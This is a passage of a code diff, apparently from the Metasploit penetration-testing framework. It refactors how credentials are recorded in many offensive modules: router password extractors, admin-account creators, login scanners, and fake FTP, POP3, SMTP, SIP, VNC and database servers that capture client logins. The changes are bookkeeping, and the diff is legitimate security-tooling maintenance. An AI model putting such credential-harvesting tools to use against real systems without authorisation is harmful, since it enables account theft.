"http://" login_url << "#{rhost}:#{rport}/servicedesk/ServiceDesk.jsp" - report_auth_info({ - :host => rhost, - :port => rport, - :user => datastore["USERNAME"], - :pass => datastore["PASSWORD"], - :type => "password", - :sname => (ssl ? "https" : "http"), - :proof => "#{login_url}\n#{res.body}" - }) + report_cred( + ip: rhost, + port: rport, + service_name: (ssl ? "https" : "http"), + user: datastore['USERNAME'], + password: datastore['PASSWORD'], + proof: "#{login_url}\n#{res.body}" + ) + print_good("#{peer} - Account #{datastore["USERNAME"]}/#{datastore["PASSWORD"]} created successfully.") print_status("#{peer} - Use it to log into #{login_url}") end diff --git a/modules/auxiliary/admin/http/dlink_dir_645_password_extractor.rb b/modules/auxiliary/admin/http/dlink_dir_645_password_extractor.rb index cb95df48c3..533a7d5074 100644 --- a/modules/auxiliary/admin/http/dlink_dir_645_password_extractor.rb +++ b/modules/auxiliary/admin/http/dlink_dir_645_password_extractor.rb @@ -33,6 +33,35 @@ class Metasploit3 < Msf::Auxiliary ) end + + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: DateTime.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + + def run vprint_status("#{rhost}:#{rport} - Trying to access the configuration of the device") @@ -72,14 +101,14 @@ class Metasploit3 < Msf::Auxiliary vprint_good("user: #{@user}") vprint_good("pass: #{pass}") - report_auth_info( - :host => rhost, - :port => rport, - :sname => 'http', - :user => @user, - :pass => pass, - :active => true - ) + report_cred( + ip: rhost, + port: rport, + service_name: 'http', + user: @user, + password: pass, + proof: line + ) end end end diff --git a/modules/auxiliary/admin/http/dlink_dsl320b_password_extractor.rb b/modules/auxiliary/admin/http/dlink_dsl320b_password_extractor.rb index dad5e64ed6..9ab873d031 100644 --- a/modules/auxiliary/admin/http/dlink_dsl320b_password_extractor.rb +++ b/modules/auxiliary/admin/http/dlink_dsl320b_password_extractor.rb @@ -32,6 +32,33 @@ class Metasploit3 < Msf::Auxiliary ) end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: DateTime.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def run vprint_status("#{rhost}:#{rport} - Trying to access the configuration of the device") @@ -69,13 +96,13 @@ class Metasploit3 < Msf::Auxiliary pass = $1 pass = Rex::Text.decode_base64(pass) print_good("#{rhost}:#{rport} - Credentials found: #{user} / #{pass}") - report_auth_info( - :host => rhost, - :port => rport, - :sname => 'http', - :user => user, - :pass => pass, - :active => true + report_cred( + ip: rhost, + port: rport, + sname: 'http', + user: user, + password: pass, + proof: line ) end end diff --git a/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb b/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb index c55a974bc0..5087e8bcb4 100644 --- a/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb +++ b/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb @@ -47,6 +47,32 @@ class Metasploit4 < Msf::Auxiliary ], self.class) end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: DateTime.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED + }.merge(service_data) + + create_credential_login(login_data) + end + def run user = datastore['USERNAME'] pass = datastore['PASSWORD'] @@ -57,14 +83,13 @@ class Metasploit4 < Msf::Auxiliary print_status("Authenticating as: " << user) begin nsc.login - report_auth_info( - :host => rhost, - :port => rport, - :sname => prot, - :user => user, - :pass => pass, - :proof => '', - :active => true + + report_cred( + ip: rhost, + port: rport, + service_name: prot, + user: user, + password: pass ) rescue diff --git a/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb b/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb index 638d429021..b9efc4ae7f 100644 --- a/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb +++ b/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb @@ -49,6 +49,33 @@ class Metasploit3 < Msf::Auxiliary datastore["PASSWORD"] end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + + def run if user == pass @@ -84,14 +111,13 @@ class Metasploit3 < Msf::Auxiliary if res and res.code == 200 and res.body =~ /Administrator account created/ print_good("#{peer} - Admin account with credentials #{user}:#{pass} successfully created") - report_auth_info( - :host => rhost, - :port => rport, - :sname => 'http', - :user => user, - :pass => pass, - :active => true, - :proof => res.body + report_cred( + ip: rhost, + port: rport, + service_name: 'http', + user: user, + password: pass, + proof: res.body ) else print_error("#{peer} - Admin account creation failed") diff --git a/modules/auxiliary/admin/http/wp_custom_contact_forms.rb b/modules/auxiliary/admin/http/wp_custom_contact_forms.rb index 75bf278687..774e6f0f3e 100644 --- a/modules/auxiliary/admin/http/wp_custom_contact_forms.rb +++ b/modules/auxiliary/admin/http/wp_custom_contact_forms.rb @@ -62,6 +62,33 @@ class Metasploit3 < Msf::Auxiliary table_prefix end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: DateTime.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def run username = Rex::Text.rand_text_alpha(10) password = Rex::Text.rand_text_alpha(20) @@ -98,14 +125,14 @@ class Metasploit3 < Msf::Auxiliary # login successfull if cookie print_status("#{peer} - User #{username} with password #{password} successfully created") - report_auth_info( - sname: 'WordPress', - host: rhost, + report_cred( + ip: rhost, port: rport, user: username, - pass: password, - active: true - ) + password: password, + service_name: 'WordPress', + proof: cookie + ) else print_error("#{peer} - User creation failed") return diff --git a/modules/auxiliary/admin/http/zyxel_admin_password_extractor.rb b/modules/auxiliary/admin/http/zyxel_admin_password_extractor.rb index 44f67456a9..ec3ce10323 100644 --- a/modules/auxiliary/admin/http/zyxel_admin_password_extractor.rb +++ b/modules/auxiliary/admin/http/zyxel_admin_password_extractor.rb @@ -7,8 +7,8 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient def initialize super( @@ -33,6 +33,32 @@ class Metasploit3 < Msf::Auxiliary ) end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def run begin print_status("Trying to get 'admin' user password ...") @@ -62,13 +88,14 @@ class Metasploit3 < Msf::Auxiliary else admin_password = admin_password_matches[1]; print_good("Password for user 'admin' is: #{admin_password}") - report_auth_info( - :host => rhost, - :port => rport, - :sname => "ZyXEL GS1510-16", - :user => 'admin', - :pass => admin_password, - :active => true + + report_cred( + ip: rhost, + port: rport, + service_name: 'ZyXEL GS1510-16', + user: 'admin', + password: admin_password, + proof: res.body ) end rescue ::Rex::ConnectionError diff --git a/modules/auxiliary/admin/misc/sercomm_dump_config.rb b/modules/auxiliary/admin/misc/sercomm_dump_config.rb index 50c7d6d536..84979820e9 100644 --- a/modules/auxiliary/admin/misc/sercomm_dump_config.rb +++ b/modules/auxiliary/admin/misc/sercomm_dump_config.rb @@ -88,6 +88,32 @@ class Metasploit3 < Msf::Auxiliary parse_configuration(config[:data]) end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + private def little_endian? @@ -200,16 +226,14 @@ class Metasploit3 < Msf::Auxiliary @credentials.each do |k,v| next unless v[:user] and v[:password] print_status("#{peer} - #{k}: User: #{v[:user]} Pass: #{v[:password]}") - auth = { - :host => rhost, - :port => rport, - :user => v[:user], - :pass => v[:password], - :type => 'password', - :source_type => "exploit", - :active => true - } - report_auth_info(auth) + report_cred( + ip: rhost, + port: rport, + user: v[:user], + password: v[:password], + service_name: 'sercomm', + proof: v.inspect + ) end end diff --git a/modules/auxiliary/admin/oracle/oracle_login.rb b/modules/auxiliary/admin/oracle/oracle_login.rb index f4a0fbdf1f..b4105840c2 100644 --- a/modules/auxiliary/admin/oracle/oracle_login.rb +++ b/modules/auxiliary/admin/oracle/oracle_login.rb @@ -36,6 +36,32 @@ class Metasploit3 < Msf::Auxiliary end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :nonreplayable_hash + }.merge(service_data) + + login_data = { + last_attempted_at: Time.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL + }.merge(service_data) + + create_credential_login(login_data) + end + def run return if not check_dependencies @@ -56,13 +82,12 @@ class Metasploit3 < Msf::Auxiliary break end else - report_auth_info( - :host => "#{datastore['RHOST']}", - :port => "#{datastore['RPORT']}", - :sname => 'oracle', - :user => "#{datastore['SID']}/#{datastore['DBUSER']}", - :pass => "#{datastore['DBPASS']}", - :active => true + report_cred( + ip: datastore['RHOST'], + port: datastore['RPORT'], + service_name: 'oracle', + user: "#{datastore['SID']}/#{datastore['DBUSER']}", + password: datastore['DBPASS'] ) print_status("Found user/pass of: #{datastore['DBUSER']}/#{datastore['DBPASS']} on #{datastore['RHOST']} with sid #{datastore['SID']}") end diff --git a/modules/auxiliary/scanner/http/drupal_views_user_enum.rb b/modules/auxiliary/scanner/http/drupal_views_user_enum.rb index 705c8cea23..0a248e088f 100644 --- a/modules/auxiliary/scanner/http/drupal_views_user_enum.rb +++ b/modules/auxiliary/scanner/http/drupal_views_user_enum.rb @@ -79,7 +79,6 @@ class Metasploit3 < Msf::Auxiliary }.merge(service_data) login_data = { - last_attempted_at: DateTime.now, core: create_credential(credential_data), status: Metasploit::Model::Login::Status::UNTRIED, }.merge(service_data) diff --git a/modules/auxiliary/scanner/nexpose/nexpose_api_login.rb b/modules/auxiliary/scanner/nexpose/nexpose_api_login.rb index 1401bd5095..3374f18e32 100644 --- a/modules/auxiliary/scanner/nexpose/nexpose_api_login.rb +++ b/modules/auxiliary/scanner/nexpose/nexpose_api_login.rb @@ -66,6 +66,33 @@ class Metasploit3 < Msf::Auxiliary end end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :nonreplayable_hash + }.merge(service_data) + + login_data = { + last_attempted_at: Time.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def do_login(user='nxadmin', pass='nxadmin') vprint_status("Trying username:'#{user}' with password:'#{pass}'") headers = { @@ -100,16 +127,14 @@ class Metasploit3 < Msf::Auxiliary if res.body =~ /LoginResponse.*success="1"/ print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'") - report_hash = { - :host => datastore['RHOST'], - :port => datastore['RPORT'], - :sname => 'nexpose', - :user => user, - :pass => pass, - :active => true, - :type => 'password'} - - report_auth_info(report_hash) + report_cred( + ip: datastore['RHOST'], + port: datastore['RPORT'], + service_name: 'nexpose', + user: user, + password: pass, + proof: res.code.to_s + ) return :next_user end end diff --git a/modules/auxiliary/scanner/openvas/openvas_gsad_login.rb b/modules/auxiliary/scanner/openvas/openvas_gsad_login.rb index 58f8312e95..032e2d2643 100644 --- a/modules/auxiliary/scanner/openvas/openvas_gsad_login.rb +++ b/modules/auxiliary/scanner/openvas/openvas_gsad_login.rb @@ -101,22 +101,46 @@ class Metasploit3 < Msf::Auxiliary if res.code == 303 print_good("#{msg} SUCCESSFUL LOGIN. '#{user}' : '#{pass}'") - report_hash = { - :host => datastore['RHOST'], - :port => datastore['RPORT'], - :sname => 'openvas-gsa', - :user => user, - :pass => pass, - :active => true, - :type => 'password'} - - report_auth_info(report_hash) + report_cred( + ip: datastore['RHOST'], + port: datastore['RPORT'], + service_name: 'openvas-gsa', + user: user, + password: pass, + proof: res.code.to_s + ) return :next_user end vprint_error("#{msg} FAILED LOGIN. '#{user}' : '#{pass}'") return :skip_pass end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :nonreplayable_hash + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def msg "#{vhost}:#{rport} OpenVAS gsad -" end diff --git a/modules/auxiliary/scanner/openvas/openvas_omp_login.rb b/modules/auxiliary/scanner/openvas/openvas_omp_login.rb index 87f020318c..71804b7ea8 100644 --- a/modules/auxiliary/scanner/openvas/openvas_omp_login.rb +++ b/modules/auxiliary/scanner/openvas/openvas_omp_login.rb @@ -60,6 +60,33 @@ class Metasploit3 < Msf::Auxiliary end end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :nonreplayable_hash + }.merge(service_data) + + login_data = { + last_attempted_at: Time.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def do_login(user=nil,pass=nil) begin vprint_status("#{msg} Trying user:'#{user}' with password:'#{pass}'") @@ -67,14 +94,13 @@ class Metasploit3 < Msf::Auxiliary omp_send(cmd,true) # send hello if @result =~ / rhost, - :port => rport, - :sname => 'openvas-omp', - :user => user, - :pass => pass, - :source_type => "user_supplied", - :active => true + report_cred( + ip: rhost, + port: rport, + service_name: 'openvas-omp', + user: user, + password: pass, + proof: @result ) disconnect @connected = false diff --git a/modules/auxiliary/scanner/openvas/openvas_otp_login.rb b/modules/auxiliary/scanner/openvas/openvas_otp_login.rb index 1216e5a318..6d812d7295 100644 --- a/modules/auxiliary/scanner/openvas/openvas_otp_login.rb +++ b/modules/auxiliary/scanner/openvas/openvas_otp_login.rb @@ -61,6 +61,33 @@ class Metasploit3 < Msf::Auxiliary end end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :nonreplayable_hash + }.merge(service_data) + + login_data = { + last_attempted_at: Time.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def do_login(user=nil,pass=nil) begin otp_send("< OTP/1.0 >\n",true) # send hello @@ -81,14 +108,13 @@ class Metasploit3 < Msf::Auxiliary otp_send("#{pass}\n",!@connected) if @result =~ /SERVER <|>.*<|> SERVER/is print_good("#{msg} SUCCESSFUL login for '#{user}' : '#{pass}'") - report_auth_info( - :host => rhost, - :port => rport, - :sname => 'openvas-otp', - :user => user, - :pass => pass, - :source_type => "user_supplied", - :active => true + report_cred( + ip: rhost, + port: rport, + service_name: 'openvas-otp', + user: user, + password: pass, + proof: @result ) disconnect @connected = false diff --git a/modules/auxiliary/scanner/scada/koyo_login.rb b/modules/auxiliary/scanner/scada/koyo_login.rb index 17e58cca86..f444d9c914 100644 --- a/modules/auxiliary/scanner/scada/koyo_login.rb +++ b/modules/auxiliary/scanner/scada/koyo_login.rb @@ -114,19 +114,45 @@ class Metasploit3 < Msf::Auxiliary next if not res print_good "#{rhost}:#{rport} - KOYO - Found passcode: #{passcode}" - report_auth_info( - :host => rhost, - :port => rport.to_i, - :proto => 'udp', - :user => '', - :pass => passcode, # NOTE: Human readable - :active => true + report_cred( + ip: rhost, + port: rport.to_i, + service_name: 'koyo', + user: '', + password: passcode, + proof: res ) break end end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'udp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :nonreplayable_hash + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def crc16(buf, crc=0) buf.each_byte{|x| crc = ((crc << 8) ^ @@CCITT_16[( crc >> 8) ^ x]) & 0xffff } [crc].pack("v") diff --git a/modules/auxiliary/server/capture/drda.rb b/modules/auxiliary/server/capture/drda.rb index 13443f123c..871b44c1bf 100644 --- a/modules/auxiliary/server/capture/drda.rb +++ b/modules/auxiliary/server/capture/drda.rb @@ -216,14 +216,13 @@ class Metasploit3 < Msf::Auxiliary if @state[c][:user] and @state[c][:pass] print_status("DRDA LOGIN #{@state[c][:name]} Database: #{@state[c][:database]}; #{@state[c][:user]} / #{@state[c][:pass]}") - report_auth_info( - :host => @state[c][:ip], - :port => datastore['SRVPORT'], - :sname => 'db2_client', - :user => @state[c][:user], - :pass => @state[c][:pass], - :source_type => "captured", - :active => true + report_cred( + ip: @state[c][:ip], + port: datastore['SRVPORT'], + service_name: 'db2_client', + user: @state[c][:user], + password: @state[c][:pass], + proof: @state.inspect ) params = [] @@ -238,6 +237,32 @@ class Metasploit3 < Msf::Auxiliary end end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :nonreplayable_hash + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def on_client_close(c) @state.delete(c) end diff --git a/modules/auxiliary/server/capture/ftp.rb b/modules/auxiliary/server/capture/ftp.rb index 27c36ef9f6..4ff3781d45 100644 --- a/modules/auxiliary/server/capture/ftp.rb +++ b/modules/auxiliary/server/capture/ftp.rb @@ -51,6 +51,32 @@ class Metasploit3 < Msf::Auxiliary c.put "220 FTP Server Ready\r\n" end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :nonreplayable_hash + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def on_client_data(c) data = c.get_once return if not data @@ -71,14 +97,13 @@ class Metasploit3 < Msf::Auxiliary if(cmd.upcase == "PASS") @state[c][:pass] = arg - report_auth_info( - :host => @state[c][:ip], - :port => datastore['SRVPORT'], - :sname => 'ftp', - :user => @state[c][:user], - :pass => @state[c][:pass], - :source_type => "captured", - :active => true + report_cred( + ip: @state[c][:ip], + port: datastore['SRVPORT'], + service_name: 'ftp', + user: @state[c][:user], + password: @state[c][:pass], + proof: arg ) print_status("FTP LOGIN #{@state[c][:name]} #{@state[c][:user]} / #{@state[c][:pass]}") diff --git a/modules/auxiliary/server/capture/http_basic.rb b/modules/auxiliary/server/capture/http_basic.rb index 42b16bc692..5aaf38f579 100644 --- a/modules/auxiliary/server/capture/http_basic.rb +++ b/modules/auxiliary/server/capture/http_basic.rb @@ -58,19 +58,44 @@ class Metasploit3 < Msf::Auxiliary exploit end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :nonreplayable_hash + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def on_request_uri(cli, req) if(req['Authorization'] and req['Authorization'] =~ /basic/i) basic,auth = req['Authorization'].split(/\s+/) user,pass = Rex::Text.decode_base64(auth).split(':', 2) - report_auth_info( - :host => cli.peerhost, - :port => datastore['SRVPORT'], - :sname => 'HTTP', - :user => user, - :pass => pass, - :source_type => "captured", - :active => true + report_cred( + ip: cli.peerhost, + port: datastore['SRVPORT'], + service_name: 'HTTP', + user: user, + password: pass, + proof: req['Authorization'] ) print_good("#{cli.peerhost} - Credential collected: \"#{user}:#{pass}\" => #{req.resource}") diff --git a/modules/auxiliary/server/capture/pop3.rb b/modules/auxiliary/server/capture/pop3.rb index 2a6b348efc..ec81648a73 100644 --- a/modules/auxiliary/server/capture/pop3.rb +++ b/modules/auxiliary/server/capture/pop3.rb @@ -56,6 +56,32 @@ class Metasploit3 < Msf::Auxiliary c.put "+OK\r\n" end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :nonreplayable_hash + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def on_client_data(c) data = c.get_once return if not data @@ -71,14 +97,13 @@ class Metasploit3 < Msf::Auxiliary if(cmd.upcase == "PASS") @state[c][:pass] = arg - report_auth_info( - :host => @state[c][:ip], - :port => @myport, - :sname => 'pop3', - :user => @state[c][:user], - :pass => @state[c][:pass], - :source_type => "captured", - :active => true + report_cred( + ip: @state[c][:ip], + port: @myport, + service_name: 'pop3', + user: @state[c][:user], + password: @state[c][:pass], + proof: arg ) print_status("POP3 LOGIN #{@state[c][:name]} #{@state[c][:user]} / #{@state[c][:pass]}") @state[c][:pass] = data.strip diff --git a/modules/auxiliary/server/capture/postgresql.rb b/modules/auxiliary/server/capture/postgresql.rb index 2ba5857eff..83cd3e4dc0 100644 --- a/modules/auxiliary/server/capture/postgresql.rb +++ b/modules/auxiliary/server/capture/postgresql.rb @@ -42,6 +42,32 @@ class Metasploit3 < Msf::Auxiliary exploit() end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :nonreplayable_hash + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def on_client_connect(c) @state[c] = { :name => "#{c.peerhost}:#{c.peerport}", @@ -74,16 +100,13 @@ class Metasploit3 < Msf::Auxiliary # Password message data.slice!(0, 5).unpack("N")[0] # skip over length @state[c][:password] = data.slice!(0, data.index("\x00") + 1).unpack("Z*")[0] - report_auth_info( - :host => c.peerhost, - :port => datastore['SRVPORT'], - :sname => 'psql_client', - :user => @state[c][:username], - :pass => @state[c][:password], - :type => "PostgreSQL credentials", - :proof => @state[c][:database], - :source_type => "captured", - :active => true + report_cred( + ip: c.peerhost, + port: datastore['SRVPORT'], + service_name: 'psql_client', + user: @state[c][:username], + password: @state[c][:password], + proof: @state[c][:database] ) print_status("PostgreSQL LOGIN #{@state[c][:name]} #{@state[c][:username]} / #{@state[c][:password]} / #{@state[c][:database]}") # send failure message diff --git a/modules/auxiliary/server/capture/sip.rb b/modules/auxiliary/server/capture/sip.rb index 185ae0466d..9750a43e1b 100644 --- a/modules/auxiliary/server/capture/sip.rb +++ b/modules/auxiliary/server/capture/sip.rb @@ -104,6 +104,32 @@ class Metasploit3 < Msf::Auxiliary return addr end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :nonreplayable_hash + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def run begin @port = datastore['SRVPORT'].to_i @@ -141,16 +167,13 @@ class Metasploit3 < Msf::Auxiliary proof = "client: #{client_ip}; username: #{username}; nonce: #{datastore['NONCE']}; response: #{response}; algorithm: #{algorithm}" print_status("SIP LOGIN: #{proof}") - report_auth_info( - :host => @requestor[:ip], - :port => @requestor[:port], - :sname => 'sip_client', - :user => username, - :pass => response + ":" + auth_tokens['nonce'] + ":" + algorithm, - :type => "sip_hash", - :proof => proof, - :source_type => "captured", - :active => true + report_cred( + ip: @requestor[:ip], + port: @requestor[:port], + service_name: 'sip_client', + user: username, + password: response + ":" + auth_tokens['nonce'] + ":" + algorithm, + proof: proof ) if datastore['JOHNPWFILE'] diff --git a/modules/auxiliary/server/capture/smtp.rb b/modules/auxiliary/server/capture/smtp.rb index 7140aac85e..12769c29cb 100644 --- a/modules/auxiliary/server/capture/smtp.rb +++ b/modules/auxiliary/server/capture/smtp.rb @@ -118,14 +118,13 @@ class Metasploit3 < Msf::Auxiliary @state[c][:pass] = arg - report_auth_info( - :host => @state[c][:ip], - :port => datastore['SRVPORT'], - :sname => 'pop3', - :user => @state[c][:user], - :pass => @state[c][:pass], - :source_type => "captured", - :active => true + report_cred( + ip: @state[c][:ip], + port: datastore['SRVPORT'], + service_name: 'pop3', + user: @state[c][:user], + password: @state[c][:pass], + proof: arg ) print_status("SMTP LOGIN #{@state[c][:name]} #{@state[c][:user]} / #{@state[c][:pass]}") end @@ -135,6 +134,32 @@ class Metasploit3 < Msf::Auxiliary end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def on_client_close(c) @state.delete(c) end diff --git a/modules/auxiliary/server/capture/vnc.rb b/modules/auxiliary/server/capture/vnc.rb index 9987f56a54..adf634969d 100644 --- a/modules/auxiliary/server/capture/vnc.rb +++ b/modules/auxiliary/server/capture/vnc.rb @@ -61,6 +61,32 @@ class Metasploit3 < Msf::Auxiliary c.put "RFB 003.007\n" end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :nonreplayable_hash + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def on_client_data(c) data = c.get_once return if not data @@ -91,16 +117,13 @@ class Metasploit3 < Msf::Auxiliary c.close print_status("#{peer} - Challenge: #{@challenge.unpack('H*')[0]}; Response: #{data.unpack('H*')[0]}") hash_line = "$vnc$*#{@state[c][:chall].unpack("H*")[0]}*#{data.unpack('H*')[0]}" - report_auth_info( - :host => c.peerhost, - :port => datastore['SRVPORT'], - :sname => 'vnc_client', - :user => "", - :pass => hash_line, - :type => "vnc_hash", - :proof => hash_line, - 